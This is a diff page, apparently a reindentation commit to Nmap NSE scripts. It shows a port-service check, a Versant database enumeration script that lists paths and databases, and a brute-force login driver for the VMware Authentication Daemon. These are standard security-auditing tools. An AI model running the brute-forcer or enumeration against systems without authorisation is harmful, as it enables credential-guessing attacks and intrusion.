-- accept ncacn_http on any port for now, we might want to limit it to
|
||||
-- certain port ranges in the future.
|
||||
['ncacn_http'] = function(host, port) return true end,
|
||||
}
|
||||
|
||||
portaction = function(host, port)
|
||||
local ok = false
|
||||
local ok = false
|
||||
|
||||
if ( port.version.name_confidence <= 3 ) then
|
||||
return
|
||||
end
|
||||
if ( portchecks[port.protocol][port.number] ) then
|
||||
ok = portchecks[port.protocol][port.number](host, port)
|
||||
end
|
||||
if ( not(ok) and servicechecks[port.service] ) then
|
||||
ok = servicechecks[port.service](host, port)
|
||||
end
|
||||
if ( not(ok) and port.service and
|
||||
( port.service == svc_table[port.protocol][port.number] or
|
||||
"unknown" == svc_table[port.protocol][port.number] or
|
||||
not(svc_table[port.protocol][port.number]) ) ) then
|
||||
ok = true
|
||||
end
|
||||
if ( not(ok) ) then
|
||||
return ("%s unexpected on port %s/%d"):format(port.service, port.protocol, port.number)
|
||||
end
|
||||
if ( port.version.name_confidence <= 3 ) then
|
||||
return
|
||||
end
|
||||
if ( portchecks[port.protocol][port.number] ) then
|
||||
ok = portchecks[port.protocol][port.number](host, port)
|
||||
end
|
||||
if ( not(ok) and servicechecks[port.service] ) then
|
||||
ok = servicechecks[port.service](host, port)
|
||||
end
|
||||
if ( not(ok) and port.service and
|
||||
( port.service == svc_table[port.protocol][port.number] or
|
||||
"unknown" == svc_table[port.protocol][port.number] or
|
||||
not(svc_table[port.protocol][port.number]) ) ) then
|
||||
ok = true
|
||||
end
|
||||
if ( not(ok) ) then
|
||||
return ("%s unexpected on port %s/%d"):format(port.service, port.protocol, port.number)
|
||||
end
|
||||
end
|
||||
|
||||
local Actions = {
|
||||
|
||||
@@ -48,68 +48,68 @@ local function fail(err) return ("\n ERROR: %s"):format(err or "") end
|
||||
|
||||
action = function(host, port)
|
||||
|
||||
local v = versant.Versant:new(host, port)
|
||||
local status = v:connect()
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
local v = versant.Versant:new(host, port)
|
||||
local status = v:connect()
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
|
||||
local status, newport = v:getObePort()
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to retrieve OBE port")
|
||||
end
|
||||
v:close()
|
||||
local status, newport = v:getObePort()
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to retrieve OBE port")
|
||||
end
|
||||
v:close()
|
||||
|
||||
v = versant.Versant.OBE:new(host, newport)
|
||||
status = v:connect()
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
v = versant.Versant.OBE:new(host, newport)
|
||||
status = v:connect()
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to connect to server")
|
||||
end
|
||||
|
||||
local result
|
||||
status, result = v:getVODInfo()
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to get VOD information")
|
||||
end
|
||||
v:close()
|
||||
status, result = v:getVODInfo()
|
||||
if ( not(status) ) then
|
||||
return fail("Failed to get VOD information")
|
||||
end
|
||||
v:close()
|
||||
|
||||
local output = {}
|
||||
local output = {}
|
||||
|
||||
table.insert(output, ("Hostname: %s"):format(result.hostname))
|
||||
table.insert(output, ("Root path: %s"):format(result.root_path))
|
||||
table.insert(output, ("Database path: %s"):format(result.db_path))
|
||||
table.insert(output, ("Library path: %s"):format(result.lib_path))
|
||||
table.insert(output, ("Version: %s"):format(result.version))
|
||||
table.insert(output, ("Hostname: %s"):format(result.hostname))
|
||||
table.insert(output, ("Root path: %s"):format(result.root_path))
|
||||
table.insert(output, ("Database path: %s"):format(result.db_path))
|
||||
table.insert(output, ("Library path: %s"):format(result.lib_path))
|
||||
table.insert(output, ("Version: %s"):format(result.version))
|
||||
|
||||
port.version.product = "Versant Database"
|
||||
port.version.name = "versant"
|
||||
nmap.set_port_version(host, port)
|
||||
port.version.product = "Versant Database"
|
||||
port.version.name = "versant"
|
||||
nmap.set_port_version(host, port)
|
||||
|
||||
-- the script may fail after this part, but we want to report at least
|
||||
-- the above information if that's the case.
|
||||
-- the script may fail after this part, but we want to report at least
|
||||
-- the above information if that's the case.
|
||||
|
||||
v = versant.Versant:new(host, port)
|
||||
status = v:connect()
|
||||
if ( not(status) ) then
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
v = versant.Versant:new(host, port)
|
||||
status = v:connect()
|
||||
if ( not(status) ) then
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
|
||||
status, result = v:getNodeInfo()
|
||||
if ( not(status) ) then
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
v:close()
|
||||
status, result = v:getNodeInfo()
|
||||
if ( not(status) ) then
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
v:close()
|
||||
|
||||
local databases = { name = "Databases" }
|
||||
local databases = { name = "Databases" }
|
||||
|
||||
for _, db in ipairs(result) do
|
||||
local db_tbl = { name = db.name }
|
||||
table.insert(db_tbl, ("Created: %s"):format(db.created))
|
||||
table.insert(db_tbl, ("Owner: %s"):format(db.owner))
|
||||
table.insert(db_tbl, ("Version: %s"):format(db.version))
|
||||
table.insert(databases, db_tbl)
|
||||
end
|
||||
for _, db in ipairs(result) do
|
||||
local db_tbl = { name = db.name }
|
||||
table.insert(db_tbl, ("Created: %s"):format(db.created))
|
||||
table.insert(db_tbl, ("Owner: %s"):format(db.owner))
|
||||
table.insert(db_tbl, ("Version: %s"):format(db.version))
|
||||
table.insert(databases, db_tbl)
|
||||
end
|
||||
|
||||
table.insert(output, databases)
|
||||
return stdnse.format_output(true, output)
|
||||
table.insert(output, databases)
|
||||
return stdnse.format_output(true, output)
|
||||
end
|
||||
|
||||
@@ -32,89 +32,89 @@ local function fail(err) return ("\n ERROR: %s"):format(err) end
|
||||
|
||||
Driver = {
|
||||
|
||||
new = function(self, host, port, options)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
new = function(self, host, port, options)
|
||||
local o = { host = host, port = port }
|
||||
setmetatable(o, self)
|
||||
self.__index = self
|
||||
return o
|
||||
end,
|
||||
|
||||
connect = function(self)
|
||||
self.socket = nmap.new_socket()
|
||||
return self.socket:connect(self.host, self.port)
|
||||
end,
|
||||
connect = function(self)
|
||||
self.socket = nmap.new_socket()
|
||||
return self.socket:connect(self.host, self.port)
|
||||
end,
|
||||
|
||||
login = function(self, username, password)
|
||||
local status, line = self.socket:receive_buf("\r\n", false)
|
||||
if ( line:match("^220 VMware Authentication Daemon.*SSL Required") ) then
|
||||
self.socket:reconnect_ssl()
|
||||
end
|
||||
login = function(self, username, password)
|
||||
local status, line = self.socket:receive_buf("\r\n", false)
|
||||
if ( line:match("^220 VMware Authentication Daemon.*SSL Required") ) then
|
||||
self.socket:reconnect_ssl()
|
||||
end
|
||||
|
||||
status = self.socket:send( ("USER %s\r\n"):format(username) )
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send data to server" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
status = self.socket:send( ("USER %s\r\n"):format(username) )
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send data to server" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
local status, response = self.socket:receive_buf("\r\n", false)
|
||||
if ( not(status) or not(response:match("^331") ) ) then
|
||||
local err = brute.Error:new( "Received unexpected response from server" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
local status, response = self.socket:receive_buf("\r\n", false)
|
||||
if ( not(status) or not(response:match("^331") ) ) then
|
||||
local err = brute.Error:new( "Received unexpected response from server" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
|
||||
status = self.socket:send( ("PASS %s\r\n"):format(password) )
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send data to server" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
status, response = self.socket:receive_buf("\r\n", false)
|
||||
status = self.socket:send( ("PASS %s\r\n"):format(password) )
|
||||
if ( not(status) ) then
|
||||
local err = brute.Error:new( "Failed to send data to server" )
|
||||
err:setRetry( true )
|
||||
return false, err
|
||||
end
|
||||
status, response = self.socket:receive_buf("\r\n", false)
|
||||
|
||||
if ( response:match("^230") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
if ( response:match("^230") ) then
|
||||
return true, brute.Account:new(username, password, creds.State.VALID)
|
||||
end
|
||||
|
||||
return false, brute.Error:new( "Login incorrect" )
|
||||
end,
|
||||
return false, brute.Error:new( "Login incorrect" )
|
||||
end,
|
||||
|
||||
disconnect = function(self)
|
||||
return self.socket:close()
|
||||
end
|
||||
disconnect = function(self)
|
||||
return self.socket:close()
|
||||
end
|
||||
|
||||
}
|
||||
|
||||
local function checkAuthd(host, port)
|
||||
local socket = nmap.new_socket()
|
||||
local status = socket:connect(host, port)
|
||||
local socket = nmap.new_socket()
|
||||
local status = socket:connect(host, port)
|
||||
|
||||
if( not(status) ) then
|
||||
return false, "Failed to connect to server"
|
||||
end
|
||||
if( not(status) ) then
|
||||
return false, "Failed to connect to server"
|
||||
end
|
||||
|
||||
local status, line = socket:receive_buf("\r\n", false)
|
||||
socket:close()
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive response from server"
|
||||
end
|
||||
local status, line = socket:receive_buf("\r\n", false)
|
||||
socket:close()
|
||||
if ( not(status) ) then
|
||||
return false, "Failed to receive response from server"
|
||||
end
|
||||
|
||||
if ( not( line:match("^220 VMware Authentication Daemon") ) ) then
|
||||
return false, "Failed to detect VMWare Authentication Daemon"
|
||||
end
|
||||
return true
|
||||
if ( not( line:match("^220 VMware Authentication Daemon") ) ) then
|
||||
return false, "Failed to detect VMWare Authentication Daemon"
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
|
||||
action = function(host, port)
|
||||
local status, err = checkAuthd(host, port)
|
||||
if ( not(status) ) then
|
||||
return fail(err)
|
||||
end
|
||||
local status, err = checkAuthd(host, port)
|
||||
if ( not(status) ) then
|
||||
return fail(err)
|
||||
end
|
||||
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local result
|
||||
status, result = engine:start()
|
||||
return result
|
||||
local engine = brute.Engine:new(Driver, host, port)
|
||||
engine.options.script_name = SCRIPT_NAME
|
||||
local result
|
||||
status, result = engine:start()
|
||||
return result
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user